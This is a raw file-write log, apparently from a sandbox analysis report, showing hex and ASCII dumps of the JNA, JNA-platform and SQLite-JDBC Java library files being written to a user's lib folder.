0a 9c 00 5a 15 0c 36 
0a a7 00 53 03 36 0e 
15 0e 10 08 a2 00 49 
15 0c 15 0e 80 36 0f 
15 0d b2 00 24 15 0e 
2e 7e 99 00 0f 15 0a 
9c 00 2b 15 0f 36 0a 
a7 00 24 15 0a 9b 00 
1f 19 08 bb 00 21 59 
15 0a 15 07 15 0f 15 
0a 64 04 b7 00 22 b9 
00 23 02 00 57 02 36 
0a 84 0e 01 a7 ff b6 
84 0b 01 a7 ff 5a 15 
0a 9b 00 1b 19 08 bb 
00 21 59 15 0a 15 07 
1b 15 0a 64 04 b7 00 
22 b9 00 23 02 00 57 
19 05 19 08 b8 00 25 
3a 0b 19 04 19 0b b9 
00 26 02 00 57 19 08 
3a 05 84 07 01 a7 ff 
01 19 04 19 05 b9 00 
26 02 00 57 19 04 b9 
00 27 01 00 3a 07 19 
07 b9 00 28 01 00 99 
00 31 19 07 b9 00 29 
01 00 c0 00 21 3a 08 
2d 19 08 b4 00 06 19 
08 b4 00 07 19 08 b4 
00 0e 19 08 b4 00 0f 
b9 00 2a 05 00 9a 00 
05 03 ac a7 ff cb 04 
ac 00 00 00 04 00 40 
00 00 00 a2 00 28 00 
00 00 

...........Z..6...S.6.......I.

....6.....$...~.......+..6...$

.........!Y........d..."..#..W

.6............Z.........!Y....

...d..."..#..W......%:.......&

..W..:.............&..W....'..:.....
(....1....)....!:.-.....
.................*............
.....@.....(...
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C:\Users\user\lib\jna-5.5.0.jard unknown 1024 f4 5a f0 96 d9 1e 6a 
09 6f 0e c5 40 43 fe 
3e 22 64 3d 2d 0e a0 
8d d6 ac d6 8e b2 63 
3a 25 f2 9b a7 de cc 
54 f6 9e aa 94 b6 3a 
16 30 29 da 24 bf c0 
56 76 36 5d d5 21 29 
c4 e1 b6 8f ca 76 74 
24 d1 15 0b bb 1e b1 
2d e6 ed 35 a5 92 f6 
f5 5d 34 94 28 8f 49 
7d 0f 83 f1 c7 53 d2 
9e 96 b3 9a 3a ea 22 
ab 4d 36 68 f5 ca 08 
4a a4 77 56 f5 ab 52 
f0 cd 10 24 fd b2 7e 
37 00 a7 e4 7d c3 ed 
44 9a 76 2d b4 41 ed 
52 0e 59 7f ac a6 27 
e7 8d ff c6 5b 95 66 
64 cb 0c 11 90 88 be 
b1 f3 61 79 c7 d8 1d 
a3 02 43 8e f1 1e 9b 
25 bb da 5e 7b 54 c6 
47 a3 63 40 c9 16 c5 
09 a4 34 12 d9 fa 2e 
9f f0 a6 c6 ad 92 df 2c 
8d 57 91 9c 9c f1 47 
4d d0 8c bc 44 86 b8 
6c 08 a3 fa 27 9d e6 
5f 9d e0 75 56 9f 4c 
e5 22 f0 db 49 cb f6 
63 6e e7 78 66 d5 de 
ca a8 6c 6d ea 6c 8a 
ec 70 ce 4d 3c ad 33 
13 e6 

.Z....j.o..@C.>"d=-........c:%

.....T.....:.0).$..Vv6].!)....

.vt$......-..5....]4.(.I}....S

.....:.".M6h...J.wV..R...$..~7

...}..D.v-.A.R.Y...'....[.fd..

......ay.....C....%..^{T.G.c@.

....4...........,.W....GM...D.

.l...'.._..uV.L."..I..cn.xf...
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fa ec 92 4a f2 7f 03 f4 
25 ea 4a 0f b7 51 f0 
45 42 2f 77 61 e2 e5 
d5 4a 7a 61 90 0c 52 
26 3a fa b1 75 db 5a 
d6 86 9b a9 f4 c2 c4 
cd 48 15 e9 b1 98 7c 
f5 58 88 23 21 3b 0b 
17 96 52 39 9d 3c b5 
3e be 75 b4 d0 ea d2 
ca ca 04 ce b7 a7 40 
dd f1 0a 94 1d af 40 
e5 f1 0a 2c 3c 5e 81 
79 c7 2b 50 6e 17 30 
b6 b4 37 75 92 90 74 
56 db 19 0c ee af ca 
f8 52 bb 18 ad 7c 1f 
ab 58 99 bd 76 5f b7 
21 dc de 79 ac 72 75 
68 3e 62 39 25 7e fa 
2f 55 69 77 6a cb 99 
fe 8b 2d b4 3b 75 44 
42 ff e5 90 fd 93 68 e3 
c3 e1 fd fe 0b 96 db 
2b 79 2e 93 67 a3 26 
eb 27 d2 4b 0f 36 36 
52 98 e0 1a 6f 79 d2 
7c 0b 6d 5f 74 79 53 
63 28 12 f1 54 d0 6f 
87 89 1c df 24 77 2b 
48 6d 41 26 ac 99 b0 
a2 6c 8b c0 91 d5 0f 

'...$.....Y..SO\M!g.qS.H..o[..
..J....%.J..Q.EB/wa...Jza..R
&:..u.Z........H....|.X.#!;...R9.
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..-
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 00 96 8c 5e 4f c4 bc 
02 7b 55 03 00 00 55 
03 00 00 38 00 00 00 
63 6f 6d 2f 73 75 6e 2f 
6a 6e 61 2f 70 6c 61 
74 66 6f 72 6d 2f 57 
69 6e 64 6f 77 55 74 
69 6c 73 24 48 65 61 
76 79 77 65 69 67 68 
74 46 6f 72 63 65 72 
2e 63 6c 61 73 73 ca 
fe ba be 00 00 00 32 
00 2d 0a 00 07 00 20 
0a 00 06 00 21 09 00 
06 00 22 0a 00 06 00 
23 0a 00 07 00 24 07 
00 26 07 00 27 01 00 
10 73 65 72 69 61 6c 
56 65 72 73 69 6f 6e 
55 49 44 01 00 01 4a 
01 00 0d 43 6f 6e 73 
74 61 6e 74 56 61 6c 
75 65 05 00 00 00 00 
00 00 00 01 01 00 06 
70 61 63 6b 65 64 01 
00 01 5a 01 00 06 3c 
69 6e 69 74 3e 01 00 
14 28 4c 6a 61 76 61 
2f 61 77 74 2f 57 69 
6e 64 6f 77 3b 29 56 
01 00 04 43 6f 64 65 
01 00 0f 4c 69 6e 65 
4e 75 6d 62 65 72 54 
61 62 6c 65 01 00 12 
4c 6f 63 61 6c 56 61 
72 69 61 62 6c 65 54 
61 62 

...^O...{U...U...8...com/sun/j
na/platform/WindowUtils$H
eavyw
eightForcer.class.......2.-.... 
....!...."....#....$..&..'..
.serialVersionUID...J...Con
sta
ntValue............packed...Z.
..<init>...
(Ljava/awt/Window;)
V...Code...LineNumberTab
le...LocalVariableTab
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fe 88 b9 77 41 a1 27 
7c e5 77 a5 e5 d7 bc 
10 db 60 5a 45 76 19 
67 63 bf dd 1a 97 3d 
6e cc 97 51 b8 26 0c 
0f e2 8e 96 ee 57 cb 
79 23 05 09 25 74 8f 
e8 cc 39 2e c7 85 09 
81 03 a1 5f 27 ea c2 
b8 b5 5e bc 6f d8 46 
c2 4d 23 49 b6 6e 9c 
ff df 11 ee 4e 9f 4c 08 
84 16 ea a2 36 e1 0c 
6d e1 e7 c2 6a 4c 64 
a2 a4 6f e1 02 5d c1 
14 f5 76 07 97 49 e7 
0f 50 4b 03 04 0a 00 
00 00 08 00 38 66 3e 
49 4b 49 92 43 af 02 
00 00 5c 05 00 00 20 
00 00 00 6f 72 67 2f 
73 71 6c 69 74 65 2f 
45 78 74 65 6e 64 65 
64 43 6f 6d 6d 61 6e 
64 2e 63 6c 61 73 73 
95 54 5d 53 d3 40 14 
3d 4b d3 24 0d 29 a5 
15 10 11 bf 10 a1 0d 
1f 41 54 e4 a3 80 52 
71 a6 33 55 07 eb e0 
8c 6f 69 bb 53 82 6d 
52 92 94 e1 c9 ff 81 bf 
a2 be a0 e3 83 af ce 
f8 a3 1c ef a6 1d a0 
58 19 e9 c3 de dd 9b 

/..o.tZY...wA.'|.w......`ZEv.g
c....=n..Q.&......W.y#..%t...
9......._'....^.o.F.M#I.n.....N
.L.....6..m...jLd..o..]...v..I
..PK........8f>IKI.C....\... .
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mand.c
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..Rq.3U....oi.S.mR.............
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 347 54 52 1f 33 64 b6 77 
ae 19 ac 6a 7c 23 18 
f2 be 54 e2 bc 75 df 
10 c9 15 6f 44 84 14 
fc 38 e0 d1 35 4f a4 
39 7f 83 96 be 95 29 
43 ee 24 0c 13 11 72 
4d 90 7b a6 94 48 aa 
11 4f 53 41 a5 75 3f 
4e 42 2f 7d 88 a4 16 
5e ad a5 02 2d 63 b5 
d5 e7 1f 32 8c b7 0d 
6c 72 5d 8b 26 83 73 
da 0e 44 d3 d0 52 1b 
eb 64 b0 5d 93 8a 47 
44 08 a2 58 51 87 d2 
f6 8e 7f c7 1f b9 17 71 
15 7a 17 8d 3b 11 e8 
43 1b 1b 24 ad c7 ad 
24 10 35 69 bc 4d f5 
ba ed 1b b2 8b 2c 6c 
1b 15 17 25 94 19 56 
ff 75 c5 50 fc a3 4e e8 
4f db aa f1 d2 7d 84 
72 07 25 b2 57 bf f4 fb 
e6 19 b6 46 d8 e7 b1 
ae b7 9a cd 38 d1 e2 
66 80 36 33 3a 8b 55 
41 86 7e 8a 06 a6 6f 
1b a7 4c ce 29 4e d0 
c9 a3 cc 0c ba fb 02 
f6 4c 9b 31 e4 28 66 
3b e0 07 1c 8a 6e 97 
80 49 4c 53 2e 21 df 
17 ef d1 32 b5 5f c2 cf 
01 21 eb 0a 2d 0b 

TR.3d.w...j|#...T..u....oD...8
..5O.9.....)C.$...rM.
{..H..OSA.u?NB/}...^...-
c....2...lr].&.
s..D..R..d.]..GD..XQ.........q
.z..;..C..$...$.5i.M......,l..
.%..V.u.P..N.O....}.r.%.W...
...F.......8..f.63:.UA.~...o..L.
)N.........L.1.(f;....n..ILS.!
....2._...!..-.
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01 00 06 70 61 72 65 
6e 74 01 00 11 4c 6a 
61 76 61 2f 61 77 74 
2f 57 69 6e 64 6f 77 
3b 01 00 09 69 73 56 
69 73 69 62 6c 65 01 
00 03 28 29 5a 01 00 
09 67 65 74 42 6f 75 
6e 64 73 01 00 16 28 
29 4c 6a 61 76 61 2f 
61 77 74 2f 52 65 63 
74 61 6e 67 6c 65 3b 
01 00 0a 53 6f 75 72 
63 65 46 69 6c 65 01 
00 10 57 69 6e 64 6f 
77 55 74 69 6c 73 2e 
6a 61 76 61 0c 00 0f 
00 10 0c 00 28 00 29 
0c 00 0d 00 0e 0c 00 
2a 00 2b 0c 00 1c 00 
1d 07 00 2c 01 00 32 
63 6f 6d 2f 73 75 6e 2f 
6a 6e 61 2f 70 6c 61 
74 66 6f 72 6d 2f 57 
69 6e 64 6f 77 55 74 
69 6c 73 24 48 65 61 
76 79 77 65 69 67 68 
74 46 6f 72 63 65 72 
01 00 0f 6a 61 76 61 
2f 61 77 74 2f 57 69 
6e 64 6f 77 01 00 04 
70 61 63 6b 01 00 03 
28 29 56 01 00 08 67 
65 74 4f 77 6e 65 72 
01 00 13 28 29 4c 6a 
61 76 

Forcer;...parent...Ljava/awt
/Window;...isVisible...
()Z...getBounds...
()Ljava/awt/Rectangle
;...SourceFile...WindowUtil
s.java.......(.).......*.+.......
,..2com/sun/jna/platform/W
indo
wUtils$HeavyweightForcer
...jav
a/awt/Window...pack...
()V...getOwner...()Ljav
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C:\Users\user\lib\jna-5.5.0.jard unknown 347 2a b9 2b 5e d4 6e a4 
53 8d ed db 1c 49 4c 
82 36 0a b8 0d a5 f6 
36 89 a3 ec 79 88 cc 
c6 5c cf db dc 60 a7 
5d c5 c3 08 89 82 59 
a4 f8 81 25 5e a2 8e 
0c 05 a4 25 5e 16 fb 
d5 e6 b9 02 54 bc 22 
ce b1 c4 ab e2 87 08 
1e 8d 28 77 9d ea 08 
1b c7 c9 ca 5d db d5 
a9 04 09 e9 57 0a 78 
27 c6 48 b2 e7 b6 63 
5b 07 05 d1 b5 77 21 
12 5e c3 f9 15 af 53 1f 
39 ce 60 f2 36 37 05 
73 3d d1 93 e3 6d 45 
f3 27 1a 4b 6e df b1 
e0 4c 63 7b 38 c7 b9 
f6 cc 5c 26 de 50 67 
7b a9 a3 86 48 1c 8c 
c5 e7 12 09 15 2c 6d 
25 50 72 3b c3 d8 01 
c5 da e6 12 f5 d8 3b 
4d b9 8e 3e 8c 88 79 
4b fc 88 a0 4a c7 a4 
17 b1 41 14 79 13 bd 
24 6e 89 1f 93 2d c1 
26 5a bc 8c 57 30 18 
11 95 a1 e4 12 27 e8 
c1 e2 a5 da 95 28 00 
63 e6 ab 3d d4 11 6a 
df 1c b2 b4 2b e8 1d 
c7 96 2d f1 26 e2 46 
4b d6 2c 4b 4b c1 8b 
78 4b 

*.+^.n.S....IL.6.....6...y...\
...`.].....Y...%^.....%^......
T.".........(w.......]......W.
x'.H...c[....w!.^....S.9.`.67.
s=...mE.'.Kn...Lc{8....\&.Pg
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.&Z..W0......'......
(.c..=..j....+....-
.&.FK.,KK..xK

success or wait 1 6DD59FBC WriteFile
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69 74 3e 01 00 02 6f 
73 01 00 12 4c 6a 61 
76 61 2f 6c 61 6e 67 
2f 53 74 72 69 6e 67 
3b 01 00 0d 53 74 61 
63 6b 4d 61 70 54 61 
62 6c 65 01 00 0a 53 
6f 75 72 63 65 46 69 
6c 65 01 00 10 57 69 
6e 64 6f 77 55 74 69 
6c 73 2e 6a 61 76 61 
0c 00 22 00 23 07 00 
4f 0c 00 50 00 51 07 
00 52 01 00 2f 63 6f 
6d 2f 73 75 6e 2f 6a 
6e 61 2f 70 6c 61 74 
66 6f 72 6d 2f 57 69 
6e 64 6f 77 55 74 69 
6c 73 24 57 33 32 57 
69 6e 64 6f 77 55 74 
69 6c 73 01 00 0e 57 
33 32 57 69 6e 64 6f 
77 55 74 69 6c 73 0c 
00 22 00 54 0c 00 1d 
00 21 0c 00 55 00 51 
01 00 2f 63 6f 6d 2f 73 
75 6e 2f 6a 6e 61 2f 
70 6c 61 74 66 6f 72 
6d 2f 57 69 6e 64 6f 
77 55 74 69 6c 73 24 
4d 61 63 57 69 6e 64 
6f 77 55 74 69 6c 73 
01 00 0e 4d 61 63 57 
69 6e 64 6f 77 55 74 
69 6c 73 0c 00 56 00 
51 01 

..<clinit>...os...Ljava/lang/S
tring;...StackMapTable...S
ourc
eFile...WindowUtils.java..".
#.
.O..P.Q..R../com/sun/jna/pl
atf
orm/WindowUtils$W32Win
dowUtils
...W32WindowUtils..".T....!.
.U
.Q../com/sun/jna/platform/
Wind
owUtils$MacWindowUtils...
MacWindowUtils..V.Q.
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 1024 6f 6e 2e 63 6c 61 73 
73 8d 56 59 74 14 55 
10 bd 3d 99 c9 6c 1d 
92 0c 24 48 82 d2 20 
c8 64 8c 04 c1 85 45 
44 92 80 66 8c b8 04 
83 11 15 7b 66 9a 49 
43 d3 1d 66 7a 30 b8 
81 1b ee 3b 6e b8 e2 
8a 0b 02 4a 26 02 ae 
e7 78 f8 d0 3f ff fc d3 
e3 9f 1e 3d 7e f8 ad 
56 75 f7 2c 74 7a 42 
72 4e ea bd ae 7a ef 
be 5b 55 af ea cd 0f ff 
9e f8 1a c0 12 7c 15 
41 17 b6 86 b1 08 db 
58 68 2c b6 07 a1 07 
61 84 30 12 41 3d 76 
44 91 43 3e 04 93 4d 
85 08 02 d8 c9 b3 3b 
22 18 c5 ae 20 ee 8c 
a0 11 5b 43 b8 8b c7 
bb 43 b8 87 c7 7b 23 
d8 8d 3d 21 dc c7 e3 
fd 11 5a fe 00 cf 1e 
64 f1 10 8b bd 2c 1e 
66 f1 08 8b 47 59 3c 
c6 eb 1e e7 d9 13 2c 
9e 64 f1 14 8b a7 59 
3c c3 e2 59 16 cf 85 
f0 7c 08 fb 42 78 81 8f 
7a 31 84 97 42 78 39 
88 57 82 d8 1f c4 ab 
02 c2 6b b2 d9 9c 92 
95 4d 45 80 d8 a7 eb 

on.class.VYt.U..=..l...$H.. 
.d....ED..f......{f.IC..fz0....;
n.....J&...x..?......=~..Vu.,t
zBrN...z..[U..........|.A.....
.Xh,....a.0.A=vD.C>..M......;
"... ....[C....C...{#..=!.....Z
....d....,.f...GY<......,.d...
.Y<..Y....|..Bx..z1..Bx9.W...
....k.....ME....
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 347 93 de 3d 4b 74 96 39 
ad 6b 56 dc d3 47 ab 
77 25 6a d9 bc a2 dc 
56 6b 31 77 b1 9a a7 
f4 4e 62 a3 3e 36 db 
ab 55 96 72 ef 9f 4b 8f 
79 17 fd c4 08 c0 c7 
bd 81 66 3e ee 0c e0 
3f 6a 5b d6 b8 dc 19 
a9 79 91 6c 81 c0 5d 
8d e4 e5 f4 95 44 1d 
cd 80 19 89 71 08 89 
f0 18 7c 2c ea 12 75 
63 f0 1f b5 d0 56 93 
8c c1 4f 72 19 c9 55 
08 d3 be 69 a4 bd 82 
34 a2 bd 17 6b d0 4d 
e3 2c f4 a0 97 76 30 
ee 3f b4 b6 8e c6 3d 
89 53 88 24 be 43 60 
3f 1a 4e a2 7e 28 16 
1c 47 e8 9b c4 71 84 
05 bc e2 a8 22 ac ea 
4c 7c 8b c0 18 a2 9d 
9d c7 10 2d 42 1c 43 
c3 f9 a7 e8 bf 88 69 
cd f8 ef 5d 9c cb 4b 4f 
a2 71 68 1c 4d b1 e6 
22 62 64 89 c5 a6 93 
28 62 86 05 70 8c 56 
77 16 d1 52 82 6d 65 
2d fb 50 67 f9 b0 08 
51 92 7d 24 93 14 83 
7e 9c 83 6b 10 c7 75 
58 8c eb 29 2e 03 64 
d9 00 15 1b 51 c0 4d 
f4 

..=Kt.9.kV..G.w%j....Vk1w..

..Nb.>6..U.r..K.y........f>...?
j[.....y.l..].....D.....q....|,.
.uc....V...Or..U...i...4...k.M
.,...v0.?....=.S.$.C`?.N.~
(..G...q....."..L|........-B.C....
..i...]..KO.qh.M.."bd....(b..p
.Vw..R.me-
.Pg...Q.}$...~..k..u
X..)..d....Q.M.
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C:\Users\user\lib\jna-5.5.0.jard unknown 1024 b0 f1 f6 b8 d5 24 35 
11 0b da c1 36 6a 6a 
a8 c0 50 7b fe 22 55 
dc f7 36 41 4a 81 0c ff 
5b a4 79 f1 21 5d 7e 
27 ae 89 f0 8c 13 29 
44 6c f1 fb 88 a6 4b 
1c 3d 64 89 3f 10 ab 
25 29 82 44 f8 91 ea 
86 e5 36 b8 53 82 c2 
8d c2 38 42 ed cd db 
72 1b 43 28 bd 42 8d 
96 f8 a3 f8 13 e9 be 
60 eb b8 ce dc f0 da 
ce 20 42 ee 09 35 52 
c8 b3 78 07 47 a3 ea 
cf 44 12 fa 84 c6 66 
c4 de 5f 04 2a e9 8f 
88 ac 02 15 76 24 15 
e1 3f 32 34 24 31 c5 
62 d9 5e 9e f7 86 27 
91 b1 70 b6 14 2d 96 
5e 20 fe 66 e9 53 c5 
df 2d 7d 2c b5 36 7a 
5e 10 8b 36 52 0b f6 
92 68 9c 00 53 f0 20 
ef 47 ba 2a 46 b9 fc 
31 99 02 9f 90 05 34 
d4 e1 1a af 2c a7 68 
7b 9b 2a 2c f1 a9 f8 
07 b2 da d2 56 74 35 
c2 eb 55 a0 91 f3 de 
09 f5 27 36 cd ec ab 
c3 47 4f 25 dc 7f 66 
89 7f 8a cf 89 74 71 
50 5b 42 6b 3b 28 0a 
68 82 

.....$5....6jj..P{."U..6AJ...[

.y.!]~'.....)Dl....K.=d.?..%).
D.....6.S....8B...r.C(.B......
..`....... B..5R..x.G...D....f
.._.*......v$..?24$1.b.^...'..
p..-.^ .f.S..-},.6z^..6R...h..S. 
.G.*F..1.....4....,.h{.*,..
.....Vt5..U......'6....GO%..f.
....tqP[Bk;(.h.
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2e 2a 07 00 5a 0c 00 
5b 00 5c 0c 00 1b 00 
1c 01 00 07 6f 73 2e 
6e 61 6d 65 01 00 27 
6a 61 76 61 2f 6c 61 
6e 67 2f 55 6e 73 75 
70 70 6f 72 74 65 64 
4f 70 65 72 61 74 69 
6f 6e 45 78 63 65 70 
74 69 6f 6e 01 00 17 
6a 61 76 61 2f 6c 61 
6e 67 2f 53 74 72 69 
6e 67 42 75 69 6c 64 
65 72 01 00 0f 4e 6f 
20 73 75 70 70 6f 72 
74 20 66 6f 72 20 0c 
00 5d 00 5e 0c 00 5f 
00 60 0c 00 22 00 61 
01 00 27 63 6f 6d 2f 
73 75 6e 2f 6a 6e 61 
2f 70 6c 61 74 66 6f 
72 6d 2f 57 69 6e 64 
6f 77 55 74 69 6c 73 
24 48 6f 6c 64 65 72 
01 00 10 6a 61 76 61 
2f 6c 61 6e 67 2f 4f 62 
6a 65 63 74 01 00 32 
63 6f 6d 2f 73 75 6e 2f 
6a 6e 61 2f 70 6c 61 
74 66 6f 72 6d 2f 57 
69 6e 64 6f 77 55 74 
69 6c 73 24 4e 61 74 
69 76 65 57 69 6e 64 
6f 77 55 74 69 6c 73 
01 00 14 63 6f 6d 2f 
73 

^1\.4\..*..Z..[.\........os.na
me..'java/lang/Unsupporte
dOper
ationException...java/lang/
StringBuilder...No support 
for ..
].^.._.`..".a..'com/sun/jna/pl
atform/WindowUtils$Holder
...ja
va/lang/Object..2com/sun/j
na/p
latform/WindowUtils$Nativ
eWindowUtils...com/s
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 0a 00 53 00 00 00 00 
10 08 50 4b 03 04 0a 
00 00 08 00 00 96 8c 
5e 4f d4 d3 99 37 07 
06 00 00 07 06 00 00 
37 00 00 00 63 6f 6d 
2f 73 75 6e 2f 6a 6e 
61 2f 70 6c 61 74 66 
6f 72 6d 2f 57 69 6e 
64 6f 77 55 74 69 6c 
73 24 4d 61 63 57 69 
6e 64 6f 77 55 74 69 
6c 73 24 31 2e 63 6c 
61 73 73 ca fe ba be 
00 00 00 32 00 4f 09 
00 0f 00 2e 09 00 0f 
00 2f 09 00 0f 00 30 
0a 00 09 00 31 0a 00 
09 00 32 08 00 23 07 
00 33 0a 00 07 00 34 
07 00 35 0a 00 36 00 
37 08 00 27 09 00 38 
00 39 0a 00 38 00 3a 
07 00 3b 07 00 3c 07 
00 3d 01 00 05 76 61 
6c 24 77 01 00 11 4c 
6a 61 76 61 2f 61 77 
74 2f 57 69 6e 64 6f 
77 3b 01 00 09 76 61 
6c 24 61 6c 70 68 61 
01 00 01 46 01 00 06 
74 68 69 73 24 30 07 
00 3f 01 00 0e 4d 61 
63 57 69 6e 64 6f 77 
55 74 69 6c 73 01 00 
0c 49 6e 6e 65 72 43 
6c 61 73 

..S......PK..........^O...7...

.....7...com/sun/jna/platfor
m/
WindowUtils$MacWindow
Utils$1.c
lass.......2.O........./....0.
...1....2..#..3....4..5..6.7..
'..8.9..8.:..;..<..=...val$w..
.Ljava/awt/Window;...val$a
lpha
...F...this$0..?...MacWindo
wUtils...InnerClas
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00 00 2f 00 00 00 6f 
72 67 2f 73 71 6c 69 
74 65 2f 6a 61 76 61 
78 2f 53 51 4c 69 74 
65 50 6f 6f 6c 65 64 
43 6f 6e 6e 65 63 74 
69 6f 6e 24 31 2e 63 
6c 61 73 73 95 56 db 
53 13 57 18 ff 1d 08 
d9 10 56 8d 5c 44 a4 
2a a2 d5 80 60 b4 17 
5b c1 5a 95 62 a5 0d 
a2 82 a8 78 dd 24 2b 
2c 6c 76 71 37 41 b4 
56 7b b1 37 7b bf 57 
6d 9f 3a d3 3e b5 63 
67 14 4a 9d 29 3e f5 
a1 ed f8 0f f4 a5 cf fe 
07 f5 41 fa 3b 9b 40 
40 82 83 99 c9 b9 7c 
df 77 be eb ef 7c 7b fe 
bc ff db ef 00 9e c0 77 
c5 a8 c1 be 20 56 61 
7f 10 9d e8 0a e0 40 
10 dd 38 a8 e0 50 10 
7e 1c 2e 46 07 7a 4a 
70 04 47 e5 70 4c c1 
f1 12 94 e0 84 24 9f 
2c 81 86 98 1c e2 72 
48 48 4d 7a 00 ab a5 
9e 53 0a 7a 83 28 47 
9f 1c 0c 05 fd 01 0c 
04 51 09 33 80 a4 9c 
2d a9 dc 96 aa 06 15 
9c 0e 62 05 1c 05 ae 
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 6e 64 6f 77 55 74 69 
6c 73 24 4d 61 63 57 
69 6e 64 6f 77 55 74 
69 6c 73 3b 4c 6a 61 
76 61 2f 61 77 74 2f 
57 69 6e 64 6f 77 3b 
46 29 56 01 00 04 43 
6f 64 65 01 00 0f 4c 
69 6e 65 4e 75 6d 62 
65 72 54 61 62 6c 65 
01 00 12 4c 6f 63 61 
6c 56 61 72 69 61 62 
6c 65 54 61 62 6c 65 
01 00 04 74 68 69 73 
01 00 33 4c 63 6f 6d 
2f 73 75 6e 2f 6a 6e 
61 2f 70 6c 61 74 66 
6f 72 6d 2f 57 69 6e 
64 6f 77 55 74 69 6c 
73 24 4d 61 63 57 69 
6e 64 6f 77 55 74 69 
6c 73 24 31 3b 01 00 
03 72 75 6e 01 00 03 
28 29 56 01 00 07 67 
65 74 50 65 65 72 01 
00 1a 4c 6a 61 76 61 
2f 6c 61 6e 67 2f 72 
65 66 6c 65 63 74 2f 
4d 65 74 68 6f 64 3b 
01 00 04 70 65 65 72 
01 00 12 4c 6a 61 76 
61 2f 6c 61 6e 67 2f 4f 
62 6a 65 63 74 3b 01 
00 08 73 65 74 41 6c 
70 68 61 01 00 0d 53 
74 61 63 6b 4d 61 70 
54 61 

ndowUtils$MacWindowUtil
s;Ljava
/awt/Window;F)V...Code...
LineN
umberTable...LocalVariabl
eTabl
e...this..3Lcom/sun/jna/plat
fo
rm/WindowUtils$MacWind
owUtils$1;...run...
()V...getPeer...Lja
va/lang/reflect/Method;...p
eer
...Ljava/lang/Object;...setAl
pha...StackMapTa
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00 06 00 04 00 00 00 
4b 2a b4 00 02 b6 00 
05 12 06 03 bd 00 07 
b6 00 08 4c 2b 2a b4 
00 02 03 bd 00 09 b6 
00 0a 4d 2c b6 00 05 
12 0b 04 bd 00 07 59 
03 b2 00 0c 53 b6 00 
08 4e 2d 2c 04 bd 00 
09 59 03 2a b4 00 03 
b8 00 0d 53 b6 00 0a 
57 a7 00 04 4c b1 00 
01 00 00 00 46 00 49 
00 0e 00 03 00 1d 00 
00 00 1e 00 07 00 00 
05 84 00 11 05 85 00 
1e 05 86 00 32 05 87 
00 46 05 8a 00 49 05 
89 00 4a 05 8b 00 1e 
00 00 00 2a 00 04 00 
11 00 35 00 23 00 24 
00 01 00 1e 00 28 00 
25 00 26 00 02 00 32 
00 14 00 27 00 24 00 
03 00 00 00 4b 00 1f 
00 20 00 00 00 28 00 
00 00 09 00 02 f7 00 
49 07 00 29 00 00 03 
00 2a 00 00 00 02 00 
2b 00 2c 00 00 00 04 
00 16 00 2d 00 18 00 
00 00 12 00 02 00 16 
00 3e 00 
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 1024 52 1a b5 e3 9a d9 ad 
39 86 dc 67 89 3e e9 
9a 80 da 46 1d 4e 8b 
a9 b9 ae ce ed fa f9 
5a 5c b3 49 7a 6a 58 
43 f6 00 95 75 86 a3 
52 38 62 6a 56 6f a4 
23 d6 4f 99 e6 69 14 
47 3f 65 92 14 69 d7 
53 7d 76 a2 f9 c8 6c 
e1 ba d9 24 66 d0 e0 
bf 4d a0 48 1f d2 ad 
94 40 75 34 e3 11 dd 
8b e4 3c 69 95 4c 4a 
fb 2c 2d e9 05 9b d3 
d4 99 72 0c ab 57 6a 
22 a3 32 c3 90 87 19 
52 eb 70 5c 1f cc 26 
bc 40 1f 16 68 cc e3 
6f 1b c3 8b 6b 52 aa 
4b 73 7a f5 d4 f4 43 
45 83 8e 3d 7c 76 a6 
bd 29 cf fd 49 2f 52 81 
65 73 67 81 1e 53 29 
73 5e 96 27 1f 02 0b 
3a 53 5a 7c a0 5d 1b 
f4 ea a5 60 88 b8 9e 
04 da 19 05 db 89 4c 
e2 4f 20 38 e5 14 79 
8c 23 d8 69 a7 9d b8 
be cb 90 45 ae ce 5f 
bc 0d d2 1e 91 d2 6a 
c5 09 56 a6 28 e3 92 
82 b3 2a ce e1 15 15 
8f 63 ad 8a 75 38 4f 
53 2a 5e c5 05 86 2b 
25 a5 
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5e 86 7b 07 fb f1 0c 
9e 85 8f 7a fc d8 82 
26 ca 11 21 93 38 e2 
aa 19 5b 25 ce b8 7a 
ce 43 a3 5c 3d 8f ed 
8c 74 07 05 3a 50 72 
1f 8d 0a 76 2a 68 11 
f7 50 bb ec 1e ca d6 
2a a1 09 a8 f0 29 78 
41 41 ab 82 5d 0a 41 
2a 14 ec f6 24 77 4b 
c9 ff 50 3b 41 5d b3 
44 da 98 22 d0 05 81 
97 69 20 ea 41 bd 9d 
09 94 b4 0e a6 ae d1 
83 b6 e0 f5 f1 7e ff 03 
50 4b 03 04 0a 00 00 
00 08 00 38 66 3e 49 
94 8a c7 7b c8 03 00 
00 e6 07 00 00 2d 00 
00 00 6f 72 67 2f 73 
71 6c 69 74 65 2f 6a 
61 76 61 78 2f 53 51 
4c 69 74 65 50 6f 6f 
6c 65 64 43 6f 6e 6e 
65 63 74 69 6f 6e 2e 
63 6c 61 73 73 8d 55 
5d 57 13 57 14 dd 93 
04 86 4c 06 48 41 8a 
a0 54 5b 05 93 60 4d 
29 28 0a 88 d5 04 2a 
76 54 6c 10 a4 7d 9a 
24 53 18 3b ce d0 c9 
10 a1 6f ed 53 fb 17 fa 
07 fa 5a d7 12 2d ba 
fa 
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 4d 61 73 6b 69 6e 67 
43 6f 6e 74 65 6e 74 
50 61 6e 65 2e 63 6c 
61 73 73 ca fe ba be 
00 00 00 32 00 63 07 
00 36 0a 00 01 00 37 
0a 00 13 00 38 08 00 
39 0a 00 12 00 3a 09 
00 12 00 3b 0a 00 12 
00 3c 0a 00 3d 00 3e 
07 00 3f 09 00 40 00 
41 0a 00 09 00 42 0a 
00 12 00 43 0a 00 12 
00 44 0a 00 09 00 45 
0a 00 09 00 46 0a 00 
09 00 47 0a 00 13 00 
48 07 00 49 07 00 4a 
01 00 10 73 65 72 69 
61 6c 56 65 72 73 69 
6f 6e 55 49 44 01 00 
01 4a 01 00 0d 43 6f 
6e 73 74 61 6e 74 56 
61 6c 75 65 05 00 00 
00 00 00 00 00 01 01 
00 05 73 68 61 70 65 
